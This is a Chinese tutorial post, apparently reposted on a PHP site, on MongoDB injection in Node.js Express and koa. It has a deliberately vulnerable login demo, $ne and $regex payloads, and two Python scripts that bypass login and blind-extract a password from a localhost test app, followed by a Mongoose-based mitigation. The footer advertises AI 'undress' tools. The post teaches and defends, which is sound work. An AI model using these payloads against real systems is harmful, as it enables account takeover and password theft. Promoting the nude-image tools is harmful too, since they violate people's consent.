Table of Contents
The difference between Express and koa
GET
POST
Mongodb Injection in Express
Bypass Login Directly in Express
Login Blind Injection in Express
Exploit
0x02
Express with Mongoose
At the end
Home Database Mysql Tutorial Mongodb Injection in Node.js Web Framework

Mongodb Injection in Node.js Web Framework

Jun 07, 2016 pm 04:41 PM
mongodb node.js web

The difference between Express and koa Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和

The difference between Express and koa

Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和 koa 有一些差异。

GET

在对于 GET 的处理上,Express 和 koa 的一个显著的不同就是:

<code>test[1]=a&test[2]=b
</code>
Copy after login

Expres 的 req.query 会把 test 处理成 Object:

<code>{ test: [ 'a', 'b' ] }
</code>
Copy after login

koa 的 this.request.query 却不会:

<code>{ 'test[1]': 'a', 'test[2]': 'b' }
</code>
Copy after login

在这种情况下,koa 可以避免在 QueryString 内的 Mongodb Injection。

POST

在 POST 中,当 Content-Type 为 application/x-www-form-urlencoded,Express和 koa 的行为也是不相同的,对于:

<code>test[a]=123&test[b]=456
</code>
Copy after login

Express 的 req.body 解析后的结果为:

<code>{ 'test[a]': '123', 'test[b]': '456' }
</code>
Copy after login

koa co-body 处理后解析后的结果为:

<code>{ test: { a: '123', b: '456' } }
</code>
Copy after login

当 Content-Type 为 multipart/form-data,对于:

<code>------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[a]"
123
------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[b]"
456
------WebKitFormBoundaryxUTB0WY8QmAfDBIp--
</code>
Copy after login

Express 利用 multiparty 解析的结果为:

<code>{ 'test[a]': [ '123', '456' ], 'test[b]': [ '789' ] }
</code>
Copy after login

koa 如果用 multiparty 解析的话,结果相同。
最后,当 Content-Type 为 application/json,Express 和 koa 在结果上时相同的,对于:

<code>{"test1": 1, "test2": {"test": "hello"}}
</code>
Copy after login

解析结果都为:

<code>{ test1: 1, test2: { test: 'hello' } }
</code>
Copy after login

另外的 PUT、DELETE 等方法我们不做考虑。
其实这里引入一个 RESUful 的概念,现代 API 多是追求 RESTful 的 API 设计,对于 Web 和 App 有统一的一套接口,然后衍生出一系列所谓“前后端分离”的概念,也出现了许多 JavaScript 框架,AngularJS 就是这样的。AngularJS 和后端通信的方式就是上述 POST 中最后一种,直接 POST JSON 到后端,然后后端进行解析,所以说在这种解析的过程中就会出现一系列的问题,最主要的还是 Mongodb Injection。

Mongodb Injection in Express

这个其实是很常见的问题了,因为攻击威力小,而且开发者稍加注意就可以避免,所以 Mongodb Injection 一直就是不温不火。

对于 Mongodb 的注入,目前可以做到的事 Authenticate Bypass,以及 Blind Injection。比较鸡肋的是 Blind Injection 只能对已知字段进行注入。

我用 Node.js + Mongodb 写了一个简单的登陆系统,当然是有漏洞的,主要是来研究一下漏洞的成因,以及如何避免。
项目地址:https://github.com/RicterZ/simpleLogin

Bypass Login Directly in Express

/controllers/user.js

<code>LoginHandler.login = function (request, response) {
    var user = new User({
        username: request.body.username,
        password: request.body.password
    });
    user.login(function (err, user) {
        if (err) {
            response.status(500).json({message: err.toString()})
            return;
        };
        if (!user) {
            response.status(401).json({message: 'Login Fail'});
            return;
        };
        response.status(200).json({user: 'Hello ' + user.username});
    });
};
</code>
Copy after login

此处我们将用户传入的 password 直接带入 User 的 Model,进而调用 login 方法。
/model/users.js

<code>User.prototype.login = function (callback) {
    var _user = {
        username: this.username,
        password: this.password
    };
    db.open(function (err, db) {
        if (err) return callback(err);
        db.collection('users', function (err, collection) {
            if (err) {
                db.close();
                return callback(err);
            };
            collection.findOne(_user, function (err, user) { // Injection
                // do stuff
            });
        });
    });
}
</code>
Copy after login

由于此处我们提交的数据为:

<code>{"username": "test", "password": {"$ne": 1}
</code>
Copy after login

Express 处理后变成一个 JSON Condition 然后进入 Mongodb 的查询中,所以我们可以直接 Bypass 验证,进入 test 的账户。

Login Blind Injection in Express

/controller/user.js

<code>LoginHandler.login2 = function (request, response) {
    var user = new User({
        username: request.body.username,
        password: request.body.password
    });
    user.login(function (err, user) {
        if (err) {
            response.status(500).json({message: err.toString()})
            return;
        };
        if (!user) {
            response.status(401).json({message: 'User not exist'});
            return;
        };
        if (user.password === request.body.password) {
            response.status(200).json({user: 'Hello ' + user.username});
        } else {
            response.status(401).json({message: 'Password is not correct'});
        };
    });
};
</code>
Copy after login

此处和上面不同的是我们验证了密码,如果未获取到用户则显示 User not exist,如果密码和数据库里储存的密码不同则显示 Password is not correct。利用此处的差异我们可以 Blind Injection 出数据库储存的密码为多少。
利用 Mongodb 里的正则表达式:

<code>{"username": "test", "password": {"$regex": "^1"}}
</code>
Copy after login

如果开头的字母为 1,则显示 Password is not correct,如果不为 1,则显示 User not exist。第一位猜测完毕后继续猜解第二位:

<code>{"username": "test", "password": {"$regex": "^11"}}
</code>
Copy after login

重复上述步骤直至猜解结束。

Exploit

0x01

Code:

<code>import urllib2
request = urllib2.Request('http://localhost:3000/login', '{"username": "ricter", "password": {"$ne": 1}}', headers={"Content-Type": "application/json"})
print urllib2.urlopen(request).read()
</code>
Copy after login

Result:

0x02

Code:

<code>import sys
import urllib2
def req(url, data):
    try:
        request = urllib2.Request(url, data, headers={'Content-Type': 'application/json'})
        return urllib2.urlopen(request).read()
    except urllib2.HTTPError, e:
        return e.read()
url = 'http://localhost:3000/login2'
FLAG_USER_NOT_EXIST = 'User not exist'
FLAG_PASSWORD_INCORRECT = 'Password is not correct'
chars = '9876503412'
payload = '{"username": "ricter","password": {"$regex": "^%s"}}'
password = ''
while 1:
    for i in chars:
        resp = req(url, payload % (password + i))
        if FLAG_PASSWORD_INCORRECT in resp:
            password += i
            print password
            break
        elif FLAG_USER_NOT_EXIST in resp:
            pass
        if i == chars[-1]:
            print password
            sys.exit(0)
</code>
Copy after login

Result:

Express with Mongoose

常见的 Node.js 的 Web 应用中,还有一种常见的搭配就是利用 Mongoose 来进行数据的 CRUD。
具体代码参见 simpleLogin 的 mongoose 分支。

使用 Mongoose 我们可以定义每个 document 的 field 的数据类型:

<code>var _User = new db.Schema({                
    username: String,
    password: String,
    apikey: String  
});
</code>
Copy after login

这样的话,我们传入:

<code>{"username": "ricter","password": {"$ne": 1}}
</code>
Copy after login

实际上查询的时候会被转变成:

<code>{ username: 'ricter', password: undefined }
</code>
Copy after login

所以不会造成 Mongodb Injection。

At the end

Node.js 的 Webapp,我本人比较倾向于 koa+mongoose,可以避免一些 Mongodb 的注入的问题,以及代码看起来更为优雅一些。
当然,\Python 大法好/

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Roblox: Bubble Gum Simulator Infinity - How To Get And Use Royal Keys
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Nordhold: Fusion System, Explained
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Mandragora: Whispers Of The Witch Tree - How To Unlock The Grappling Hook
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Hot Topics

Java Tutorial
1672
14
PHP Tutorial
1277
29
C# Tutorial
1257
24
Use Composer to solve the dilemma of recommendation systems: andres-montanez/recommendations-bundle Use Composer to solve the dilemma of recommendation systems: andres-montanez/recommendations-bundle Apr 18, 2025 am 11:48 AM

When developing an e-commerce website, I encountered a difficult problem: how to provide users with personalized product recommendations. Initially, I tried some simple recommendation algorithms, but the results were not ideal, and user satisfaction was also affected. In order to improve the accuracy and efficiency of the recommendation system, I decided to adopt a more professional solution. Finally, I installed andres-montanez/recommendations-bundle through Composer, which not only solved my problem, but also greatly improved the performance of the recommendation system. You can learn composer through the following address:

Navicat's method to view MongoDB database password Navicat's method to view MongoDB database password Apr 08, 2025 pm 09:39 PM

It is impossible to view MongoDB password directly through Navicat because it is stored as hash values. How to retrieve lost passwords: 1. Reset passwords; 2. Check configuration files (may contain hash values); 3. Check codes (may hardcode passwords).

How to choose a database for GitLab on CentOS How to choose a database for GitLab on CentOS Apr 14, 2025 pm 04:48 PM

GitLab Database Deployment Guide on CentOS System Selecting the right database is a key step in successfully deploying GitLab. GitLab is compatible with a variety of databases, including MySQL, PostgreSQL, and MongoDB. This article will explain in detail how to select and configure these databases. Database selection recommendation MySQL: a widely used relational database management system (RDBMS), with stable performance and suitable for most GitLab deployment scenarios. PostgreSQL: Powerful open source RDBMS, supports complex queries and advanced features, suitable for handling large data sets. MongoDB: Popular NoSQL database, good at handling sea

What is the CentOS MongoDB backup strategy? What is the CentOS MongoDB backup strategy? Apr 14, 2025 pm 04:51 PM

Detailed explanation of MongoDB efficient backup strategy under CentOS system This article will introduce in detail the various strategies for implementing MongoDB backup on CentOS system to ensure data security and business continuity. We will cover manual backups, timed backups, automated script backups, and backup methods in Docker container environments, and provide best practices for backup file management. Manual backup: Use the mongodump command to perform manual full backup, for example: mongodump-hlocalhost:27017-u username-p password-d database name-o/backup directory This command will export the data and metadata of the specified database to the specified backup directory.

MongoDB and relational database: a comprehensive comparison MongoDB and relational database: a comprehensive comparison Apr 08, 2025 pm 06:30 PM

MongoDB and relational database: In-depth comparison This article will explore in-depth the differences between NoSQL database MongoDB and traditional relational databases (such as MySQL and SQLServer). Relational databases use table structures of rows and columns to organize data, while MongoDB uses flexible document-oriented models to better suit the needs of modern applications. Mainly differentiates data structures: Relational databases use predefined schema tables to store data, and relationships between tables are established through primary keys and foreign keys; MongoDB uses JSON-like BSON documents to store them in a collection, and each document structure can be independently changed to achieve pattern-free design. Architectural design: Relational databases need to pre-defined fixed schema; MongoDB supports

How to set up users in mongodb How to set up users in mongodb Apr 12, 2025 am 08:51 AM

To set up a MongoDB user, follow these steps: 1. Connect to the server and create an administrator user. 2. Create a database to grant users access. 3. Use the createUser command to create a user and specify their role and database access rights. 4. Use the getUsers command to check the created user. 5. Optionally set other permissions or grant users permissions to a specific collection.

How to encrypt data in Debian MongoDB How to encrypt data in Debian MongoDB Apr 12, 2025 pm 08:03 PM

Encrypting MongoDB database on a Debian system requires following the following steps: Step 1: Install MongoDB First, make sure your Debian system has MongoDB installed. If not, please refer to the official MongoDB document for installation: https://docs.mongodb.com/manual/tutorial/install-mongodb-on-debian/Step 2: Generate the encryption key file Create a file containing the encryption key and set the correct permissions: ddif=/dev/urandomof=/etc/mongodb-keyfilebs=512

MongoDB vs. Oracle: Choosing the Right Database for Your Needs MongoDB vs. Oracle: Choosing the Right Database for Your Needs Apr 22, 2025 am 12:10 AM

MongoDB is suitable for unstructured data and high scalability requirements, while Oracle is suitable for scenarios that require strict data consistency. 1.MongoDB flexibly stores data in different structures, suitable for social media and the Internet of Things. 2. Oracle structured data model ensures data integrity and is suitable for financial transactions. 3.MongoDB scales horizontally through shards, and Oracle scales vertically through RAC. 4.MongoDB has low maintenance costs, while Oracle has high maintenance costs but is fully supported.

See all articles